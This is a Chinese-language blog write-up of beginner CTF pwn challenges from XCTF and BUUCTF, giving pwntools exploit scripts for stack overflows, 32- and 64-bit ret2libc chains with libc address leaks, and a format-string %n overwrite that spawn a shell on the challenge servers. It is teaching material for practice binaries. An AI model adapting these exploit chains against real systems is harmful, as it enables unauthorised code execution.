Pwn_WP(动态更新)

题解/Write Up

攻防世界

level0

#exp:
from pwn import *
r = remote("111.198.29.45", 34012)
payload = 'A' * 0x88 + p64(0x00400596).decode("iso-8859-1")
r.recvuntil("Hello, World\n")
r.sendline(payload)
r.interactive()  

注意 .decode("iso-8859-1"),否则在python3环境下会报错。

根据IDA中信息,通过输入溢出覆盖到callsystem函数的地址即可解出。 ls cat得到flag

image-20220306173030734.png

image-20220306173116974.png

image-20220306174933382.png

level2

当re2libc在32位下的例题了

上灯神的EXP

#!/usr/bin/env python3
from pwn import*
context(os="linux",arch="i386",log_level="debug")
content=1
#elf
elf=ELF("level3")
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']
#libc
#这里直接得知了libc的版本号,如果不知道libc的版本号,或许可以用已经泄露的地址来找找libc的版本号。
lib=ELF('libc_32.so.6')
lib_write_addr=lib.symbols['write']
lib_system_addr=lib.symbols['system']
lib_binsh_addr=next(lib.search(b'/bin/sh'))
def main():
if content==0:
io=process("./level3")
else:
io=remote("111.200.241.243",34633)
#leak_payload 用flat()和直接"+"拼接一样,注意拼接有严格顺序
payload=flat([b'a'*(0x88+4),p32(write_plt),p32(main_addr),p32(1),p32(write_got),p32(4)])
#对payload的解释:
#栈溢出,write_plt地址,返回地址(覆写为main的地址以重复程序运行),write函数的三个参数
#p32(1),p32(write_got),p32(4)均是write的三个参数
#write函数:
#函数定义:ssize_t write (int fd, const void * buf, size_t count); 
#函数说明:write()会把参数buf所指的内存写入count个字节到参数fd所指的文件内。
#返回值:如果顺利write()会返回实际写入的字节数(len)。当有错误发生时则返回-1,错误代码存入errno中。

#leak
io.sendlineafter("Input:\n",payload)
write_addr=u32(io.recv()[0:4])
#addr_count
libcbase=write_addr-lib_write_addr#偏移
system_addr=libcbase+lib_system_addr
binsh_addr=libcbase+lib_binsh_addr
#get_shell_payload
payload=flat([b'a'*(0x88+4),p32(system_addr),b'aaaa',p32(binsh_addr)])
#溢出,覆写system地址,返回地址,传入参数
#由于调用到system地址就已经完成pwn攻击了,所以返回地址随便写一下就行了
#getshell
io.sendlineafter("Input:\n", payload)
io.interactive()
main()

如果题目不告诉libc的版本号,可以试着调用[Libcsearcher]。

当然,可以和灯神一样去下载对应的libc文件

补充知识:

x86,32位程序调用函数所使用的参数都在栈中,栈中从高地址到低地址顺序是“调用的函数地址,返回的函数地
址,调用函数的参数1,参数2,参数3.....

但对于x64:

64位系统中rdi,rsi,rdx,rcx,r8,r9作为调用函数的前6个参数,如果参数多于6个,其余参数放入栈中 。

Buu

test_your_nc1

nc:全称netcat,其主要用途是建立监听任意TCP和[UDP]连接,支持ipv4和ipv6。因此,它可以用来网络调试、端口扫描等等。

image-20220306171350816.png

根据靶机信息

nc node4.buuoj.cn 25288

cat flag 得出答案。

rip

checksec,几乎没什么开启的保护。

拖入ida进行分析,F5反编译,看到是gets输入溢出。在函数目录中,fun函数直接调用了binsh。可以通过gets溢出覆写返回地址调用fun函数获得shell。

image-20220306173252515

image-20220306172831449.png

image-20220306174909144.png

exp:

from pwn import*
r=remote("node4.buuoj.cn",27874)
payload = 'A' * 0x0F + 'a' * 0x8 +p64(0x00401186+1).decode("iso-8859-1")
r.sendline(payload)
r.interactive()

存在一个和攻防世界不同的问题,这里payload的p64里有+1。据说是因为sys函数的0x10对齐问题,存在于ubuntu18以上的系统环境。

详细:

https://www.toutiao.com/i7053693034252223006/?wid=1646570061031

**在询问后,得知了一种跑本地以调用gdb的方法

将wp改写成如下形式

from pwn import*
#r=remote("node4.buuoj.cn",29442)
r=process("./pwn1")
#payload=('A'*0x88)+p64(0x00400596)
#r.recvuntil("Hello,World\n")
gdb.attach(r)
sleep(1)
payload = 'A' * 0x0F + 'a' * 0x8 + p64(0x00401186).decode("iso-8859-1")
r.sendline(payload)
r.interactive()

本地调用后,发现如果不加1,会发生如下错误

X1E`__@63YEFA_P__GFQAG7.png

warmup_csaw_2016

chekseck 没开什么保护

image-20220306202022676.png

image-20220306202214235.png

image-20220306212855758

基本和上题区别不大,这次为避免对齐问题,直接打到 cat flag.txt的地址。

exp:

from pwn import*
r=remote("node4.buuoj.cn",25594)
payload = 'A' * 0x40 + 'a' * 0x8 + p64(0x00400611).decode("iso-8859-1")
r.sendline(payload)
r.interactive()

运行即可看到Flag

ciscn_2019_n_1

checksec ,基本无保护

exp:

from pwn import*
r=remote("node4.buuoj.cn",26060)
#r=process("./pwn1")
#payload=('A'*0x88)+p64(0x00400596)
#r.recvuntil("Hello,World\n")
#gdb.attach(r)
#sleep(1)
payload = 'A' * 0x2c  + p64(0x41348000).decode("iso-8859-1")
r.sendline(payload)
r.interactive()

看小数点进制转换的小技巧:可以在ida 源文件判断行查看

image-20220306221418138.png

即可看到flag

pwn1_sctf_2016

checksec ,开启了NX保护,甚至是个32位程序。

image-20220307094234259.png

NX:可读处不可写,可写处不可读。

image-20220307112719038

image-20220307112728598.png

3c(60)的容量,只可以输入32大小的数据。但函数有一个替换功能

会将所有的I 转换为 you

那么若输入20个I,则会被替换成60个字符,造成数据溢出。

溢出至get_flag地址,即可解题。

image-20220307113203258.png

exp:

from pwn import*
r=remote("node4.buuoj.cn",26929)
payload = 'I' * 0x14+'a'*0x04 + p32(0x08048F13).decode("iso-8859-1")
r.sendline(payload)
r.interactive()

注意:32位程序,将p64改成p32使用。

//sublime

jarvisoj_level0

和攻防世界level0是一道题。

ciscn_2019_c_1,64位re2libc例题

re2libc在64位下的样题。

5_T05FFA92__H4K~_L0XM32.png

IDA看到伪代码,溢出漏洞出现在encrypt加密函数上。

这道题普及了 strlen的绕过方法(虽然对这道题似乎没什么用),即将strlen的参数改为以\x00开头,因为strlen的计算截止到/0

~2VPOA92_OT3GZ`RWGR_T2A.png

因为没有system函数的调用,我们需要泄露一个函数的地址来进行re2libc。在64位环境下,我们需要操作寄存器来进行控制。

利用ROPgadget找到pop对应地址

要注意的是在x64,64位系统中rdi,rsi,rdx,rcx,r8,r9作为调用函数的前6个参数,如果参数多于6个,其余参数放入栈中

ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'

G0_~90Q_NJ__Q9LO_I__P0E.png

附上灯神的代码

#!/usr/bin/env python3
from pwn import*
context(os="linux",arch="amd64",log_level="debug")
content=1
#elf
elf=ELF('ciscn_2019_c_1')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x0400B28
pop_ret=0x0400c83 #pop rdi ;ret
ret = 0x4006b9
#libc
libc=ELF('libc-2.27.so')
puts_libc=libc.symbols['puts']
system_libc=libc.symbols['system']
binsh_libc=next(libc.search(b'/bin/sh'))
def main():
if content==0:
io=process("./ciscn_2019_c_1")
else:
io=remote("node3.buuoj.cn",28749)
#leak_payload
payload=b'a'*
(0x50+8)+p64(pop_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
#leak
io.sendlineafter("Input your choice!\n", '1')
io.sendlineafter("Input your Plaintext to be encrypted\n", payload)
io.recvuntil("Ciphertext\n")
io.recvline()
#recive
puts_addr=io.recv(7)[:-1]
#x64中地址为12位(8+8-4重叠4位,类比x86中地址4+4-2)6个字节,加上换行1字节,再用切片截出
地址
#print(puts_addr)
#print(puts_addr.ljust(8,b'\x00'))
puts_addr=u64(puts_addr.ljust(8,b'\x00'))
#填充为8字节栈对齐,注意要先填充再u64解包
#print(puts_addr)
#addr_count
libcbase=puts_addr-puts_libc
system_addr=libcbase+system_libc
binsh_addr=libcbase+binsh_libc
#getshell_payload
payload=b'a'*(0x50+8)+p64(ret)+p64(pop_ret)+p64(binsh_addr)+p64(system_addr)
#getshell
io.sendlineafter("Input your choice!\n", '1')
io.sendlineafter("Input your Plaintext to be encrypted\n", payload)
io.recv()
io.interactive()
main()

但是 由于我迫不及待的想试一试LibcSearcher,于是改了一下灯神的代码。在使用中,遇到了多个版本,经过测试,选1。

X55_TV__@@_Q__J_4B690HD.png

#!/usr/bin/env python3
from pwn import*
from LibcSearcher import*
context(os="linux",arch="amd64",log_level="debug")
content=1
#elf
elf=ELF('ciscn_2019_c_1')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x0400B28
pop_ret=0x0400c83 #pop rdi ;ret
ret = 0x4006b9
if content==0:
	io=process("./ciscn_2019_c_1")
else:
	io=remote("node4.buuoj.cn",26072)
#leak_payload
payload='A'*(0x50+8)+(p64(pop_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)).decode("iso-8859-1")

#leak
io.sendlineafter("Input your choice!\n", '1')
io.sendlineafter("Input your Plaintext to be encrypted\n", payload)
io.recvuntil("Ciphertext\n")
io.recvline()
#recive
puts_addr=io.recv(7)[:-1]
#x64中地址为12位(8+8-4重叠4位,类比x86中地址4+4-2)6个字节,加上换行1字节,再用切片截出地址
#print(puts_addr)
#print(puts_addr.ljust(8,b'\x00'))
puts_addr=u64(puts_addr.ljust(8,b'\x00'))
#填充为8字节栈对齐,注意要先填充再u64解包
#print(puts_addr)
#libc
#libc=ELF('libc-2.27.so')
libc=LibcSearcher("puts",puts_addr)
puts_libc=libc.dump("puts")
system_libc=libc.dump("system")
binsh_libc=libc.dump("str_bin_sh")
#puts_libc=libc.symbols['puts']
#system_libc=libc.symbols['system']
#binsh_libc=next(libc.search(b'/bin/sh'))
#addr_count
libcbase=puts_addr-puts_libc
system_addr=libcbase+system_libc
binsh_addr=libcbase+binsh_libc
#getshell_payload
payload='A' *(0x50+8)+(p64(ret)+p64(pop_ret)+p64(binsh_addr)+p64(system_addr)).decode("iso-8859-1")
#payload:栈溢出,对齐,写入ret给
#getshell
#.decode("iso-8859-1")
io.sendlineafter("Input your choice!\n", '1')
io.sendlineafter("Input your Plaintext to be encrypted\n", payload)
io.recv()
io.interactive()

[OGeek2019]babyrop

re2libc

https://www.cnblogs.com/zhwer/p/13380122.html

from pwn import *
from LibcSearcher import *


io = remote('node4.buuoj.cn', '28084')
elf = ELF('./pwn2')
main_addr = 0x08048825
write_plt = elf.plt['write']
read_plt = elf.plt['read']
read_got = elf.got['read']

payload1 = '\x00' + '\xff'*7 # 最后一个 \xff 是有效的返回值
io.sendline(payload1)
io.recvuntil('Correct\n')
payload2 = 'a'*0xe7 + 'b'*4 + p32(write_plt).decode("iso-8859-1") + p32(main_addr).decode("iso-8859-1") # 按部就班先返回到 main()
payload2 += p32(1).decode("iso-8859-1") + p32(read_got).decode("iso-8859-1")+ p32(4).decode("iso-8859-1")

io.sendline(payload2)
# 计算各函数或字符串的真实地址
read_addr = u32(io.recv(4))
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system') 
binsh = libc_base + libc.dump('str_bin_sh')

io.sendline(payload1)
io.recvuntil('Correct\n')
payload3 = 'a'*0xe7 + 'b'*4 + p32(system_addr).decode("iso-8859-1") + p32(23).decode("iso-8859-1") + p32(binsh).decode("iso-8859-1")
io.sendline(payload3)
io.interactive()

经测试,选2

[第五空间2019 决赛]PWN5

S6C3_SD_NO7`B_GGD_2WUDU.png

Canary 打开了,程序是32位的。

x后来发现是道格式化字符串漏洞的题

from pwn import*
r=remote("node4.buuoj.cn",27677)
targetadd=0x804c044
payload=p32(targetadd).decode("iso-8859-1")+'%10$n'
r.sendline(payload)
r.sendline(str(4))
r.interactive()

_HXYD__8GL_2_N6MKSEJT7H.png

看题目来说,在printf(buf)处存在漏洞。我们可以试着输入“AAAA”来查看我们的偏移位置,然后入栈dword_804c044的目标地址,根据偏移利用%n进行改写数据。在第二次询问密码的时候输入数据即可。

dword_804c044的地址是0x804c044,大小4个字节。所以写入的值应该为4。

则只需要在询问密码时,发送4便可get shell

那么如何查看偏移:

漏洞发生处的地址

N04_GO_6__J_LILS6W@_XWG.png

0_V__7IT8OD8DN~7L7JVM3N.png

在漏洞发生出下断点,查看栈情况

_9_JV3ILII_J_KH_ZM_E878.png

可以看到偏移位置为10。

另外,在查阅wp的时候,似乎看到了一个好用的工具:fmtstr_payload

后续再做了解。

ciscn_2019_n_8

checksec一下

J_LT@PLT_`E0GPFI1GHKA.png

 var[13] = 0;
  var[14] = 0;
  init();
  puts("What's your name?");
  __isoc99_scanf("%s", var, v4, v5);
  if ( *(_QWORD *)&var[13] )
  {
    if ( *(_QWORD *)&var[13] == 17LL )
      system("/bin/sh");
    else
      printf(
        "something wrong! val is %d",
        var[0],
        var[1],
        var[2],
        var[3],
        var[4],
        var[5],
        var[6],
        var[7],
        var[8],
        var[9],
        var[10],
        var[11],
        var[12],
        var[13],
        var[14]);
  }
  else
  {
    printf("%s, Welcome!\n", var);
    puts("Try do something~");
  }
  return 0;
}

?可能是想考能不能看懂代码吗

from pwn import *

r = remote('node4.buuoj.cn',27199)
payload = 'a'*13*4+p64(17).decode("iso-8859-1")

r.sendline(payload)
r.interac
tive()

jarvisoj_level2

checksec ,32位仅开NX

IDA一眼栈溢出

Ida alt+t搜一下Binsh

exp:

from pwn import *

r = remote('node4.buuoj.cn',27664)
sys_addr=0x8048320
bin_sh_addr=0x0804A024

payload = 'a'*(0x88+4)+p32(sys_addr).decode("iso-8859-1")+'a'*4+p32(bin_sh_addr).decode("iso-8859-1")

r.sendline(payload)
r.interactive()

bjdctf_2020_babystack

from pwn import *

r = remote('node4.buuoj.cn',25130)
sys_addr=0x4006E6
#bin_sh_addr=0x0804A024

payload1='100'
r.sendline(payload1)

payload = 'a'*(0x10+8)+p64(sys_addr).decode("iso-8859-1")
r.sendline(payload)
r.interactive()

一眼栈溢出,还给了后门函数。

get_started_3dsctf_2016

32位只有NX

https://blog.csdn.net/A951860555/article/details/111030289

from pwn import *

r = remote('node4.buuoj.cn',25065)
sys_addr=0x80489B8
#bin_sh_addr=0x0804A024

#payload1='100'
#r.sendline(payload1)

#payload = 'a'*(0x38)+p32(sys_addr).decode("iso-8859-1")

payload = 'a'*(0x38) + p32(0x080489A0).decode("iso-8859-1") + p32(0x0804E6A0).decode("iso-8859-1")
# a1 == 0x308CD64F   a2 == 0x195719D1
payload += p32(0x308CD64F).decode("iso-8859-1") + p32(0x195719D1).decode("iso-8859-1")

r.sendline(payload)
r.interactive()

一步一步学Rop之Linux64_level5

首先Checksec,64位程序

ciscn_2019_en_2

简单re2libc,带一个绕过strlen

from pwn import *
from LibcSearcher import*
#io = remote('node4.buuoj.cn',27666)
io=process("./ciscn_2019_en_2")
elf=ELF('ciscn_2019_en_2')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
ret=0x00000000004006b9
pop_ret=0x0000000000400c83
encrypt_addr=0x004009A0
io.sendlineafter('choice!\n','1')
payload=b'\0'+b'a'*0x4F+b'a'*8+(p64(pop_ret)+p64(puts_got)+p64(puts_plt)+p64(encrypt_addr))
io.sendlineafter('encrypted\n', payload)
#io.recvuntil('encrypted\n')
io.recvline()
io.recvline()

#puts_addr=io.recv(7)[:-1]
#puts_addr=u64(puts_addr.ljust(8,b'\x00'))
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
#print('%#x'%puts_addr)
#print hex(puts_addr)
libc=LibcSearcher("puts",puts_addr)
puts_libc=libc.dump("puts")
system_libc=libc.dump("system")
binsh_libc=libc.dump("str_bin_sh")
libcbase=puts_addr-puts_libc
system_addr=libcbase+system_libc
binsh_addr=libcbase+binsh_libc
payload=b'\0'+b'a'*0x4F+b'a'*8+(p64(ret)+p64(pop_ret)+p64(binsh_addr)+p64(system_addr))
io.sendlineafter('encrypted\n',payload)
#io.sendline(payload)
io.interactive()


#ROPgadget--binary ./ciscn_2019_en_2 --only"pop|ret"
#ROPgadget --binary ciscn_2019_en_2 --only 'pop|ret'
posted @ 2022-04-29 17:46  L1ngYi  阅读(109)  评论(0编辑  收藏  举报